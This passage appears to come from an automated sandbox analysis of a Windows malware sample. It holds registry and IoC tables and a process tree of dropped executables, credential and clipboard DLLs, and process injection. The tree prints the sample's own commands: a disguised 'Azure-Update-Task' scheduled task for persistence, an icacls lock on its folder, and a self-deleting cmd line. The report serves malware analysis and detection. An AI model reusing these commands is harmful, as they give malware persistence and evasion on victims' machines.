Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f44471a0359723fa74489c55595fe6b30ee0000	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = 00000000ffffffff	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Generic"	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0 = 50003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014000000	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	rundll32.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Explorer.EXE
Set value (data)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\0\0\MRUListEx = ffffffff	Explorer.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

Explorer.EXE

pid process

3148 Explorer.EXE

pid	process
3148	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

2f0a4ef8bf666838ec2cc95f9f182e932ae7e4753869ec9cef230916eb8d82da.exeExplorer.EXE

pid	process
2548	2f0a4ef8bf666838ec2cc95f9f182e932ae7e4753869ec9cef230916eb8d82da.exe
2548	2f0a4ef8bf666838ec2cc95f9f182e932ae7e4753869ec9cef230916eb8d82da.exe
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE
3148	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

3148 Explorer.EXE
Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

2f0a4ef8bf666838ec2cc95f9f182e932ae7e4753869ec9cef230916eb8d82da.exe33A5.exe

pid process

2548 2f0a4ef8bf666838ec2cc95f9f182e932ae7e4753869ec9cef230916eb8d82da.exe
5084 33A5.exe

pid	process
3148	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Explorer.EXEpowershell.exepowershell.exepowershell.exepowershell.exepowercfg.exepowercfg.execmd.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeDebugPrivilege	1992	powershell.exe
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeDebugPrivilege	3432	powershell.exe
Token: SeDebugPrivilege	2020	powershell.exe
Token: SeShutdownPrivilege	376	powercfg.exe
Token: SeCreatePagefilePrivilege	376	powercfg.exe
Token: SeShutdownPrivilege	4108	powercfg.exe
Token: SeCreatePagefilePrivilege	4108	powercfg.exe
Token: SeShutdownPrivilege	3756	cmd.exe
Token: SeCreatePagefilePrivilege	3756	cmd.exe
Token: SeShutdownPrivilege	1332	powercfg.exe
Token: SeCreatePagefilePrivilege	1332	powercfg.exe
Token: SeShutdownPrivilege	3940	powercfg.exe
Token: SeCreatePagefilePrivilege	3940	powercfg.exe
Token: SeShutdownPrivilege	3812	powercfg.exe
Token: SeCreatePagefilePrivilege	3812	powercfg.exe
Token: SeShutdownPrivilege	552	powercfg.exe
Token: SeCreatePagefilePrivilege	552	powercfg.exe
Token: SeShutdownPrivilege	3148	Explorer.EXE
Token: SeCreatePagefilePrivilege	3148	Explorer.EXE
Token: SeShutdownPrivilege	3892	powercfg.exe
Token: SeCreatePagefilePrivilege	3892	powercfg.exe
Token: SeIncreaseQuotaPrivilege	3432	powershell.exe
Token: SeSecurityPrivilege	3432	powershell.exe
Token: SeTakeOwnershipPrivilege	3432	powershell.exe
Token: SeLoadDriverPrivilege	3432	powershell.exe
Token: SeSystemProfilePrivilege	3432	powershell.exe
Token: SeSystemtimePrivilege	3432	powershell.exe
Token: SeProfSingleProcessPrivilege	3432	powershell.exe
Token: SeIncBasePriorityPrivilege	3432	powershell.exe

Suspicious use of FindShellTrayWindow 5 IoCs

Processes:

rundll32.exerundll32.exerundll32.exerundll32.exerundll32.exe

pid process

3308 rundll32.exe
1396 rundll32.exe
3696 rundll32.exe
4532 rundll32.exe
3180 rundll32.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

Explorer.EXE

pid process

3148 Explorer.EXE
3148 Explorer.EXE

pid	process
3308	rundll32.exe
1396	rundll32.exe
3696	rundll32.exe
4532	rundll32.exe
3180	rundll32.exe

pid	process
3148	Explorer.EXE
3148	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Explorer.EXEF5AF.exeF5AF.exeF5AF.exeF5AF.exebuild2.exebuild3.exe2FBC.exe

description	pid	process	target process
PID 3148 wrote to memory of 3164	3148	Explorer.EXE	F5AF.exe
PID 3148 wrote to memory of 3164	3148	Explorer.EXE	F5AF.exe
PID 3148 wrote to memory of 3164	3148	Explorer.EXE	F5AF.exe
PID 3164 wrote to memory of 616	3164	F5AF.exe	F5AF.exe
PID 3164 wrote to memory of 616	3164	F5AF.exe	F5AF.exe
PID 3164 wrote to memory of 616	3164	F5AF.exe	F5AF.exe
PID 3164 wrote to memory of 616	3164	F5AF.exe	F5AF.exe
PID 3164 wrote to memory of 616	3164	F5AF.exe	F5AF.exe
PID 3164 wrote to memory of 616	3164	F5AF.exe	F5AF.exe
PID 3164 wrote to memory of 616	3164	F5AF.exe	F5AF.exe
PID 3164 wrote to memory of 616	3164	F5AF.exe	F5AF.exe
PID 3164 wrote to memory of 616	3164	F5AF.exe	F5AF.exe
PID 3164 wrote to memory of 616	3164	F5AF.exe	F5AF.exe
PID 616 wrote to memory of 1356	616	F5AF.exe	icacls.exe
PID 616 wrote to memory of 1356	616	F5AF.exe	icacls.exe
PID 616 wrote to memory of 1356	616	F5AF.exe	icacls.exe
PID 616 wrote to memory of 2768	616	F5AF.exe	F5AF.exe
PID 616 wrote to memory of 2768	616	F5AF.exe	F5AF.exe
PID 616 wrote to memory of 2768	616	F5AF.exe	F5AF.exe
PID 2768 wrote to memory of 4696	2768	F5AF.exe	F5AF.exe
PID 2768 wrote to memory of 4696	2768	F5AF.exe	F5AF.exe
PID 2768 wrote to memory of 4696	2768	F5AF.exe	F5AF.exe
PID 2768 wrote to memory of 4696	2768	F5AF.exe	F5AF.exe
PID 2768 wrote to memory of 4696	2768	F5AF.exe	F5AF.exe
PID 2768 wrote to memory of 4696	2768	F5AF.exe	F5AF.exe
PID 2768 wrote to memory of 4696	2768	F5AF.exe	F5AF.exe
PID 2768 wrote to memory of 4696	2768	F5AF.exe	F5AF.exe
PID 2768 wrote to memory of 4696	2768	F5AF.exe	F5AF.exe
PID 2768 wrote to memory of 4696	2768	F5AF.exe	F5AF.exe
PID 4696 wrote to memory of 4780	4696	F5AF.exe	build2.exe
PID 4696 wrote to memory of 4780	4696	F5AF.exe	build2.exe
PID 4696 wrote to memory of 4780	4696	F5AF.exe	build2.exe
PID 4780 wrote to memory of 1744	4780	build2.exe	build2.exe
PID 4780 wrote to memory of 1744	4780	build2.exe	build2.exe
PID 4780 wrote to memory of 1744	4780	build2.exe	build2.exe
PID 4780 wrote to memory of 1744	4780	build2.exe	build2.exe
PID 4780 wrote to memory of 1744	4780	build2.exe	build2.exe
PID 4780 wrote to memory of 1744	4780	build2.exe	build2.exe
PID 4780 wrote to memory of 1744	4780	build2.exe	build2.exe
PID 4780 wrote to memory of 1744	4780	build2.exe	build2.exe
PID 4780 wrote to memory of 1744	4780	build2.exe	build2.exe
PID 4696 wrote to memory of 2764	4696	F5AF.exe	build3.exe
PID 4696 wrote to memory of 2764	4696	F5AF.exe	build3.exe
PID 4696 wrote to memory of 2764	4696	F5AF.exe	build3.exe
PID 2764 wrote to memory of 4872	2764	build3.exe	schtasks.exe
PID 2764 wrote to memory of 4872	2764	build3.exe	schtasks.exe
PID 2764 wrote to memory of 4872	2764	build3.exe	schtasks.exe
PID 3148 wrote to memory of 5100	3148	Explorer.EXE	2FBC.exe
PID 3148 wrote to memory of 5100	3148	Explorer.EXE	2FBC.exe
PID 3148 wrote to memory of 5100	3148	Explorer.EXE	2FBC.exe
PID 3148 wrote to memory of 5084	3148	Explorer.EXE	33A5.exe
PID 3148 wrote to memory of 5084	3148	Explorer.EXE	33A5.exe
PID 3148 wrote to memory of 5084	3148	Explorer.EXE	33A5.exe
PID 5100 wrote to memory of 3900	5100	2FBC.exe	2FBC.exe
PID 5100 wrote to memory of 3900	5100	2FBC.exe	2FBC.exe
PID 5100 wrote to memory of 3900	5100	2FBC.exe	2FBC.exe
PID 5100 wrote to memory of 3900	5100	2FBC.exe	2FBC.exe
PID 5100 wrote to memory of 3900	5100	2FBC.exe	2FBC.exe
PID 5100 wrote to memory of 3900	5100	2FBC.exe	2FBC.exe
PID 5100 wrote to memory of 3900	5100	2FBC.exe	2FBC.exe
PID 5100 wrote to memory of 3900	5100	2FBC.exe	2FBC.exe
PID 5100 wrote to memory of 3900	5100	2FBC.exe	2FBC.exe
PID 5100 wrote to memory of 3900	5100	2FBC.exe	2FBC.exe
PID 3148 wrote to memory of 3760	3148	Explorer.EXE	354B.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3148
- C:\Users\Admin\AppData\Local\Temp\2f0a4ef8bf666838ec2cc95f9f182e932ae7e4753869ec9cef230916eb8d82da.exe
  "C:\Users\Admin\AppData\Local\Temp\2f0a4ef8bf666838ec2cc95f9f182e932ae7e4753869ec9cef230916eb8d82da.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:2548
- C:\Users\Admin\AppData\Local\Temp\F5AF.exe
  C:\Users\Admin\AppData\Local\Temp\F5AF.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:3164
- - C:\Users\Admin\AppData\Local\Temp\F5AF.exe
    C:\Users\Admin\AppData\Local\Temp\F5AF.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:616
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\772dd5f5-c2ea-4faf-91d4-3ce6449d50d6" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:1356
  - - C:\Users\Admin\AppData\Local\Temp\F5AF.exe
      "C:\Users\Admin\AppData\Local\Temp\F5AF.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:2768
    - - C:\Users\Admin\AppData\Local\Temp\F5AF.exe
        
        "C:\Users\Admin\AppData\Local\Temp\F5AF.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4696
      - C:\Users\Admin\AppData\Local\dcdfca21-38ce-443e-b086-8862ea7ccdb4\build2.exe
        
        "C:\Users\Admin\AppData\Local\dcdfca21-38ce-443e-b086-8862ea7ccdb4\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:4780
        
        C:\Users\Admin\AppData\Local\dcdfca21-38ce-443e-b086-8862ea7ccdb4\build2.exe
        
        "C:\Users\Admin\AppData\Local\dcdfca21-38ce-443e-b086-8862ea7ccdb4\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:1744
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\dcdfca21-38ce-443e-b086-8862ea7ccdb4\build2.exe" & exit
        8⤵
        
        PID:4788
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        9⤵
        Executes dropped EXE
        
        PID:5068
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:1604
      - C:\Users\Admin\AppData\Local\dcdfca21-38ce-443e-b086-8862ea7ccdb4\build3.exe
        
        "C:\Users\Admin\AppData\Local\dcdfca21-38ce-443e-b086-8862ea7ccdb4\build3.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:2764
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:4872
- C:\Users\Admin\AppData\Local\Temp\2FBC.exe
  C:\Users\Admin\AppData\Local\Temp\2FBC.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:5100
- - C:\Users\Admin\AppData\Local\Temp\2FBC.exe
    C:\Users\Admin\AppData\Local\Temp\2FBC.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:3900
  - - C:\Users\Admin\AppData\Local\Temp\2FBC.exe
      "C:\Users\Admin\AppData\Local\Temp\2FBC.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:4376
    - - C:\Users\Admin\AppData\Local\Temp\2FBC.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2FBC.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:3232
      - C:\Users\Admin\AppData\Local\6a3f270c-c4ab-47c5-a132-36594dde732d\build2.exe
        
        "C:\Users\Admin\AppData\Local\6a3f270c-c4ab-47c5-a132-36594dde732d\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4564
        
        C:\Users\Admin\AppData\Local\6a3f270c-c4ab-47c5-a132-36594dde732d\build2.exe
        
        "C:\Users\Admin\AppData\Local\6a3f270c-c4ab-47c5-a132-36594dde732d\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:3156
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\6a3f270c-c4ab-47c5-a132-36594dde732d\build2.exe" & exit
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3756
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:456
      - C:\Users\Admin\AppData\Local\6a3f270c-c4ab-47c5-a132-36594dde732d\build3.exe
        
        "C:\Users\Admin\AppData\Local\6a3f270c-c4ab-47c5-a132-36594dde732d\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:3472
- C:\Users\Admin\AppData\Local\Temp\33A5.exe
  C:\Users\Admin\AppData\Local\Temp\33A5.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:5084
- C:\Users\Admin\AppData\Local\Temp\354B.exe
  C:\Users\Admin\AppData\Local\Temp\354B.exe
  2⤵
  - Executes dropped EXE
  PID:3760
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3760 -s 340
    3⤵
    - Program crash
    PID:1740
- C:\Users\Admin\AppData\Local\Temp\3C42.exe
  C:\Users\Admin\AppData\Local\Temp\3C42.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:4288
- - C:\Users\Admin\AppData\Local\Temp\Player3.exe
    "C:\Users\Admin\AppData\Local\Temp\Player3.exe"
    3⤵
    PID:5068
  - - C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
      "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      PID:1288
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
        5⤵
        Loads dropped DLL
        
        PID:3332
      - C:\Windows\system32\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
        6⤵
        Loads dropped DLL
        
        PID:3068
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 3068 -s 656
        7⤵
        Program crash
        
        PID:4404
    - - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\clip64.dll, Main
        5⤵
        Loads dropped DLL
        
        PID:2036
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    PID:540
- - C:\Users\Admin\AppData\Local\Temp\ss31.exe
    "C:\Users\Admin\AppData\Local\Temp\ss31.exe"
    3⤵
    - Executes dropped EXE
    PID:4028
- C:\Users\Admin\AppData\Local\Temp\41C1.exe
  C:\Users\Admin\AppData\Local\Temp\41C1.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:4936
- - C:\Users\Admin\AppData\Local\Temp\Player3.exe
    "C:\Users\Admin\AppData\Local\Temp\Player3.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:3196
  - - C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
      "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
      4⤵
      PID:4452
- - C:\Users\Admin\AppData\Local\Temp\ss31.exe
    "C:\Users\Admin\AppData\Local\Temp\ss31.exe"
    3⤵
    - Executes dropped EXE
    PID:2336
- - C:\Users\Admin\AppData\Local\Temp\XandETC.exe
    "C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:4088
- C:\Users\Admin\AppData\Local\Temp\4397.exe
  C:\Users\Admin\AppData\Local\Temp\4397.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:4292
- - C:\Users\Admin\AppData\Local\Temp\4397.exe
    C:\Users\Admin\AppData\Local\Temp\4397.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:3916
  - - C:\Users\Admin\AppData\Local\Temp\4397.exe
      "C:\Users\Admin\AppData\Local\Temp\4397.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      PID:4912
    - - C:\Users\Admin\AppData\Local\Temp\4397.exe
        
        "C:\Users\Admin\AppData\Local\Temp\4397.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:380
      - C:\Users\Admin\AppData\Local\bf814465-fdc3-4227-a558-59b7239ac7f3\build2.exe
        
        "C:\Users\Admin\AppData\Local\bf814465-fdc3-4227-a558-59b7239ac7f3\build2.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:4500
        
        C:\Users\Admin\AppData\Local\bf814465-fdc3-4227-a558-59b7239ac7f3\build2.exe
        
        "C:\Users\Admin\AppData\Local\bf814465-fdc3-4227-a558-59b7239ac7f3\build2.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        
        PID:2492
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\bf814465-fdc3-4227-a558-59b7239ac7f3\build2.exe" & exit
        8⤵
        
        PID:732
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        9⤵
        Delays execution with timeout.exe
        
        PID:4776
      - C:\Users\Admin\AppData\Local\bf814465-fdc3-4227-a558-59b7239ac7f3\build3.exe
        
        "C:\Users\Admin\AppData\Local\bf814465-fdc3-4227-a558-59b7239ac7f3\build3.exe"
        6⤵
        Executes dropped EXE
        
        PID:2640
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:1312
- C:\Users\Admin\AppData\Local\Temp\CDD6.exe
